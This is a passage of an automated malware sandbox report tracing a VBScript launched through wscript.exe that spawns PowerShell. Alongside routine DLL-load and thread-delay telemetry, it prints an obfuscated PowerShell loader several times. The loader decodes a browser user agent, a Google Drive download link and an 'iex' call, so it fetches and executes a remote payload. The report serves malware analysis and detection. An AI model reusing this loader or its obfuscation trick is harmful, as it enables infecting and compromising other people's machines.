Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000003.00000002.1478677403.0000024518932000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 00000003.00000002.1478677403.0000024518932000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb1 source: powershell.exe, 00000003.00000002.1477405694.00000245188C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: lib.pdb source: powershell.exe, 00000003.00000002.1475618652.00000245186D5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 00000003.00000002.1478677403.0000024518932000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 00000003.00000002.1475618652.00000245186D5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000003.00000002.1476770908.0000024518751000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdbCLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32N source: powershell.exe, 00000003.00000002.1478677403.0000024518932000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbk source: powershell.exe, 00000003.00000002.1475618652.00000245186D5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: rlib.pdb source: powershell.exe, 00000003.00000002.1475618652.00000245186D5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: CallSite.Target.pdb source: powershell.exe, 00000003.00000002.1475618652.0000024518688000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run("POWERSHELL "$Skraaningsvinklen = 1;$Fotografiapparaternes202='Substrin';$Fotografiapparaternes202+='g';Function B", "0")

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: FromBase64String($Landsbyprsten) if ($_.FullyQualifiedErrorId -ne "NativeCommandErrorMessage" -and $ErrorView -ne "CategoryView")

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Skraaningsvinklen = 1;$Fotografiapparaternes202='Substrin';$Fotografiapparaternes202+='g';Function Baroclinicity($Genforenende){$Piccoloerne=$Genforenende.Length-$Skraaningsvinklen;For($Vainness=5; $Vainness -lt $Piccoloerne; $Vainness+=(6)){$Flyttende+=$Genforenende.$Fotografiapparaternes202.Invoke($Vainness, $Skraaningsvinklen);}$Flyttende;}function parasols($Dugpunkts){. ($isskabes) ($Dugpunkts);}$Strandedness=Baroclinicity 'Age eMMicrooSyd,rzThermiToftmlS lenlMarp,a Mak /Relev5Samov.Blood0 fte Thol( efolW TeltiD arfnAnk.nd BagsoCampiwG,debsOmnip Fo laNBrndsTGgele Stikh1 S,ud0frang. Kond0Thoke;,aptu RumguWKoalii,arpenMongr6 Lu,s4 .nde;Sexua UnderxGejrp6Tou,n4 Midw;Dista MalmrVisitv,teto:Hykle1Dryad2 Hard1Cysto.Clupe0Prcis) boga LaborGEneboeChenicBureak Clemo Gang/Flgev2Sm.at0Dsles1 nnih0 Ribn0oxli,1 T.ag0Etape1 Otm emulFDataliHastur BliteMiscofOverboSalgsx ulph/ ,her1Decim2 Bero1A,ieh.Thras0Opstt ';$Budgetforslags=Baroclinicity 'VelseUBlurssBrnepeForlgrharmo-SaddeABefrugDeso,eSneglnQuatrtDilog ';$Programbibliotekerne=Baroclinicity 'InfamhBrygmt DisptFluespUlovmsTypeh: ,thi/Narco/Und rdRenour Hel,i skftv DetieFring.MaanegRverko orkaoPrincg femvlBrazie ,rof. Pro,cFlertoC,burm K ge/SekunuTska.cSekre? kriteUnstaxForedp Vando SealrInd.at dspa= Ranud TykmoStru w.lasknNa lsl HattoSu,ceaLibiddSmitt&HippoiVan hdAbsin=Infor1Ra koSH.ktiEb.lavG PruncDis iwK,lleB HanlcDeterOSpaliPTodiduIntr.C Bldg6BefliM,tipu5Subscv aturD AlimjPrimukAnnekN HandXRagiuiHovedP DraczSvingaRetrtZPa,ktoConcezmega.dConsiUStowbePrsen2 NdriwRaen. ';$Noninductively=Baroclinicity 'Ubeh.>C.rap ';$isskabes=Baroclinicity ' osoniTagryeB lstxCha,l ';$Leisjes = Baroclinicity 'sejtreFristc ,olihEndo,oYemel Steff%Anti.aMinicpSpindpSluggdResida SuivtSoundaDagce%Burkg\HemagCTalrkoW mbwl.otheoOvergusmrgarbaadfa Yamst nderiFoolsoAleu,n Call.Zool.AMerogfMapuchDonk, Belor&Welte&Uhlan EndeveTil.ucRustlhWebe.o Pred Post$Sagge ';parasols (Baroclinicity 'Victu$Skrpeg FrivlInduso Omstbeks.ma NeollBe.kn:LevelP,evier,llano,ivisgUnregrThundaAlumim,agfjmCytoseSkinnrRetu.iChiconWe,trgLo dosPreovm,sbryaH,ilkeEj rssEskilsColliiUnactgNedlu=Borto(Ud,mecRentemr,ckid Styr S,ati/georgc E.gy Overt$DispeLSweeteGesanihoneysAesirjFr,eseEqua,sSerr,)saliv ');parasols (Baroclinicity 'Engan$SpilugSordal .mmeoErhvebT appaDamp,l Part: ackhAD spivColumeF nden rettiTungnn B lr=Hachi$ Se uPErlggrLivero mpongRegiorTzotzaColismBenefbDvehjiOtolob BelclAlmeiiEk,troHylomt aadreFormokcentueInterr paanEulogeFavis.Rensks HullpIdeallUreteipraestAssor(Sol r$MalefNOmregoThomanViftei .robnMejetdSjagguIncorcEndowtCideriSolcrv Oak.e,oarrlHu.boy Tax,)De,in ');$Programbibliotekerne=$Avenin[0];parasols (Baroclinicity ' F,rh$Ergong u.tyl Eth oBlomkbSubdaaOparbl,lind:str kpSt,ndh PimpyCivillmun rlForgioSociam itniaCrocknAudi,cUne.cySquam=Pig oN koreeDra bwNarci- StowO UnspbBonitjYderpeSporec murktSwopc SignaSCed
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Skraaningsvinklen = 1;$Fotografiapparaternes202='Substrin';$Fotografiapparaternes202+='g';Function Baroclinicity($Genforenende){$Piccoloerne=$Genforenende.Length-$Skraaningsvinklen;For($Vainness=5; $Vainness -lt $Piccoloerne; $Vainness+=(6)){$Flyttende+=$Genforenende.$Fotografiapparaternes202.Invoke($Vainness, $Skraaningsvinklen);}$Flyttende;}function parasols($Dugpunkts){. ($isskabes) ($Dugpunkts);}$Strandedness=Baroclinicity 'Age eMMicrooSyd,rzThermiToftmlS lenlMarp,a Mak /Relev5Samov.Blood0 fte Thol( efolW TeltiD arfnAnk.nd BagsoCampiwG,debsOmnip Fo laNBrndsTGgele Stikh1 S,ud0frang. Kond0Thoke;,aptu RumguWKoalii,arpenMongr6 Lu,s4 .nde;Sexua UnderxGejrp6Tou,n4 Midw;Dista MalmrVisitv,teto:Hykle1Dryad2 Hard1Cysto.Clupe0Prcis) boga LaborGEneboeChenicBureak Clemo Gang/Flgev2Sm.at0Dsles1 nnih0 Ribn0oxli,1 T.ag0Etape1 Otm emulFDataliHastur BliteMiscofOverboSalgsx ulph/ ,her1Decim2 Bero1A,ieh.Thras0Opstt ';$Budgetforslags=Baroclinicity 'VelseUBlurssBrnepeForlgrharmo-SaddeABefrugDeso,eSneglnQuatrtDilog ';$Programbibliotekerne=Baroclinicity 'InfamhBrygmt DisptFluespUlovmsTypeh: ,thi/Narco/Und rdRenour Hel,i skftv DetieFring.MaanegRverko orkaoPrincg femvlBrazie ,rof. Pro,cFlertoC,burm K ge/SekunuTska.cSekre? kriteUnstaxForedp Vando SealrInd.at dspa= Ranud TykmoStru w.lasknNa lsl HattoSu,ceaLibiddSmitt&HippoiVan hdAbsin=Infor1Ra koSH.ktiEb.lavG PruncDis iwK,lleB HanlcDeterOSpaliPTodiduIntr.C Bldg6BefliM,tipu5Subscv aturD AlimjPrimukAnnekN HandXRagiuiHovedP DraczSvingaRetrtZPa,ktoConcezmega.dConsiUStowbePrsen2 NdriwRaen. ';$Noninductively=Baroclinicity 'Ubeh.>C.rap ';$isskabes=Baroclinicity ' osoniTagryeB lstxCha,l ';$Leisjes = Baroclinicity 'sejtreFristc ,olihEndo,oYemel Steff%Anti.aMinicpSpindpSluggdResida SuivtSoundaDagce%Burkg\HemagCTalrkoW mbwl.otheoOvergusmrgarbaadfa Yamst nderiFoolsoAleu,n Call.Zool.AMerogfMapuchDonk, Belor&Welte&Uhlan EndeveTil.ucRustlhWebe.o Pred Post$Sagge ';parasols (Baroclinicity 'Victu$Skrpeg FrivlInduso Omstbeks.ma NeollBe.kn:LevelP,evier,llano,ivisgUnregrThundaAlumim,agfjmCytoseSkinnrRetu.iChiconWe,trgLo dosPreovm,sbryaH,ilkeEj rssEskilsColliiUnactgNedlu=Borto(Ud,mecRentemr,ckid Styr S,ati/georgc E.gy Overt$DispeLSweeteGesanihoneysAesirjFr,eseEqua,sSerr,)saliv ');parasols (Baroclinicity 'Engan$SpilugSordal .mmeoErhvebT appaDamp,l Part: ackhAD spivColumeF nden rettiTungnn B lr=Hachi$ Se uPErlggrLivero mpongRegiorTzotzaColismBenefbDvehjiOtolob BelclAlmeiiEk,troHylomt aadreFormokcentueInterr paanEulogeFavis.Rensks HullpIdeallUreteipraestAssor(Sol r$MalefNOmregoThomanViftei .robnMejetdSjagguIncorcEndowtCideriSolcrv Oak.e,oarrlHu.boy Tax,)De,in ');$Programbibliotekerne=$Avenin[0];parasols (Baroclinicity ' F,rh$Ergong u.tyl Eth oBlomkbSubdaaOparbl,lind:str kpSt,ndh PimpyCivillmun rlForgioSociam itniaCrocknAudi,cUne.cySquam=Pig oN koreeDra bwNarci- StowO UnspbBonitjYderpeSporec murktSwopc SignaSCed			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFAAC3409CA push E85E445Dh; ret		3_2_00007FFAAC3409F9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFAAC347287 push esp; retf		3_2_00007FFAAC347288

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5088			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4716			Jump to behavior

Source: C:\Windows\System32\wscript.exe TID: 7044	Thread sleep time: -30000s >= -30000s			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7296	Thread sleep time: -4611686018427385s >= -30000s			Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: wscript.exe, 00000000.00000003.1324862606.0000023177CE8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: wscript.exe, 00000000.00000002.1326400425.00000231779B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1322079424.0000023177A07000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1313931978.0000023177A07000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1314771216.0000023177990000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1314579860.0000023177A07000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1314816316.00000231779B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1326555258.0000023177A07000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000003.00000002.1477405694.00000245188C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Skraaningsvinklen = 1;$Fotografiapparaternes202='Substrin';$Fotografiapparaternes202+='g';Function Baroclinicity($Genforenende){$Piccoloerne=$Genforenende.Length-$Skraaningsvinklen;For($Vainness=5; $Vainness -lt $Piccoloerne; $Vainness+=(6)){$Flyttende+=$Genforenende.$Fotografiapparaternes202.Invoke($Vainness, $Skraaningsvinklen);}$Flyttende;}function parasols($Dugpunkts){. ($isskabes) ($Dugpunkts);}$Strandedness=Baroclinicity 'Age eMMicrooSyd,rzThermiToftmlS lenlMarp,a Mak /Relev5Samov.Blood0 fte Thol( efolW TeltiD arfnAnk.nd BagsoCampiwG,debsOmnip Fo laNBrndsTGgele Stikh1 S,ud0frang. Kond0Thoke;,aptu RumguWKoalii,arpenMongr6 Lu,s4 .nde;Sexua UnderxGejrp6Tou,n4 Midw;Dista MalmrVisitv,teto:Hykle1Dryad2 Hard1Cysto.Clupe0Prcis) boga LaborGEneboeChenicBureak Clemo Gang/Flgev2Sm.at0Dsles1 nnih0 Ribn0oxli,1 T.ag0Etape1 Otm emulFDataliHastur BliteMiscofOverboSalgsx ulph/ ,her1Decim2 Bero1A,ieh.Thras0Opstt ';$Budgetforslags=Baroclinicity 'VelseUBlurssBrnepeForlgrharmo-SaddeABefrugDeso,eSneglnQuatrtDilog ';$Programbibliotekerne=Baroclinicity 'InfamhBrygmt DisptFluespUlovmsTypeh: ,thi/Narco/Und rdRenour Hel,i skftv DetieFring.MaanegRverko orkaoPrincg femvlBrazie ,rof. Pro,cFlertoC,burm K ge/SekunuTska.cSekre? kriteUnstaxForedp Vando SealrInd.at dspa= Ranud TykmoStru w.lasknNa lsl HattoSu,ceaLibiddSmitt&HippoiVan hdAbsin=Infor1Ra koSH.ktiEb.lavG PruncDis iwK,lleB HanlcDeterOSpaliPTodiduIntr.C Bldg6BefliM,tipu5Subscv aturD AlimjPrimukAnnekN HandXRagiuiHovedP DraczSvingaRetrtZPa,ktoConcezmega.dConsiUStowbePrsen2 NdriwRaen. ';$Noninductively=Baroclinicity 'Ubeh.>C.rap ';$isskabes=Baroclinicity ' osoniTagryeB lstxCha,l ';$Leisjes = Baroclinicity 'sejtreFristc ,olihEndo,oYemel Steff%Anti.aMinicpSpindpSluggdResida SuivtSoundaDagce%Burkg\HemagCTalrkoW mbwl.otheoOvergusmrgarbaadfa Yamst nderiFoolsoAleu,n Call.Zool.AMerogfMapuchDonk, Belor&Welte&Uhlan EndeveTil.ucRustlhWebe.o Pred Post$Sagge ';parasols (Baroclinicity 'Victu$Skrpeg FrivlInduso Omstbeks.ma NeollBe.kn:LevelP,evier,llano,ivisgUnregrThundaAlumim,agfjmCytoseSkinnrRetu.iChiconWe,trgLo dosPreovm,sbryaH,ilkeEj rssEskilsColliiUnactgNedlu=Borto(Ud,mecRentemr,ckid Styr S,ati/georgc E.gy Overt$DispeLSweeteGesanihoneysAesirjFr,eseEqua,sSerr,)saliv ');parasols (Baroclinicity 'Engan$SpilugSordal .mmeoErhvebT appaDamp,l Part: ackhAD spivColumeF nden rettiTungnn B lr=Hachi$ Se uPErlggrLivero 